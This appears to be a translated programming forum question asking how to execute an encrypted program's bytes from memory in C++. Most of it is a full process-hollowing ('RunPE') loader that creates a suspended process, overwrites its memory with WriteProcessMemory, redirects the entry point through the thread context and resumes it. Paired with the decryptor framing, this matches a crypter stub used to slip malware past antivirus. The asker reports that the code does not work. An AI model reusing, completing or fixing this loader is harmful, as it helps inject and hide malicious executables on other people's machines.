如何在C++中执行字节数组

假设我有一个加密程序，我用解密器打开它，它将字节加载到数组中并解密它。

我想知道的是如何在不必创建另一个可执行文件的情况下执行这些字节。

我读到可以使用"分叉"，这是最好的方法。但是我无法成功运行我的代码，并且它不会返回任何错误。这是我得到的样本：

    //<main>
    char* lpMemory;
    lpMemory = (char*)malloc (fileSize);
    memset(lpMemory,0,fileSize);
    memcpy (lpMemory, fileBuf, fileSize);
    RunFromMemory(lpMemory, /* What here? */);
    //</main>
void RunFromMemory(char* pImage,char* pPath)
{
DWORD dwWritten = 0;
DWORD dwHeader = 0;
DWORD dwImageSize = 0;
DWORD dwSectionCount = 0;
DWORD dwSectionSize = 0;
DWORD firstSection = 0;
DWORD previousProtection = 0;
DWORD jmpSize = 0;
IMAGE_NT_HEADERS INH;
IMAGE_DOS_HEADER IDH;
IMAGE_SECTION_HEADER Sections[1000];
PROCESS_INFORMATION peProcessInformation;
STARTUPINFO peStartUpInformation;
CONTEXT pContext;
char* pMemory;
char* pFile;
memcpy(&IDH,pImage,sizeof(IDH));
memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH));
dwImageSize = INH.OptionalHeader.SizeOfImage;
pMemory = (char*)malloc(dwImageSize);
memset(pMemory,0,dwImageSize);
pFile = pMemory;
dwHeader = INH.OptionalHeader.SizeOfHeaders;
firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS));
memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections);
memcpy(pFile,pImage,dwHeader);
if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0)
{
    jmpSize = INH.OptionalHeader.SizeOfHeaders;
}
else
{
    jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment;
    jmpSize += 1;
    jmpSize *= INH.OptionalHeader.SectionAlignment;
}
pFile = (char*)((DWORD)pFile + jmpSize);
for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++)
{
    jmpSize = 0;
    dwSectionSize = Sections[dwSectionCount].SizeOfRawData;
    memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize);
    if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0)
    {
        jmpSize = Sections[dwSectionCount].Misc.VirtualSize;
    }
    else
    {
        jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment;
        jmpSize += 1;
        jmpSize *= INH.OptionalHeader.SectionAlignment;
    }
    pFile = (char*)((DWORD)pFile + jmpSize);
}

memset(&peStartUpInformation,0,sizeof(STARTUPINFO));
memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION));
memset(&pContext,0,sizeof(CONTEXT));
peStartUpInformation.cb = sizeof(peStartUpInformation);
if(CreateProcess(NULL, pPath, NULL /*&secAttrib*/, NULL,false,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation))
{
    pContext.ContextFlags = CONTEXT_FULL;
    GetThreadContext(peProcessInformation.hThread,&pContext);
    VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection);
    WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten);
    WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten);
    pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(peProcessInformation.hThread,&pContext);
    VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0);
    ResumeThread(peProcessInformation.hThread);
}
free(pMemory);
}

正如您可能已经猜到的那样，"文件大小"是程序的大小，"fileBuf"是 Byte 数组。我相信这两个值都是正确的。

任何可能对我有帮助的资源链接都值得赞赏谢谢。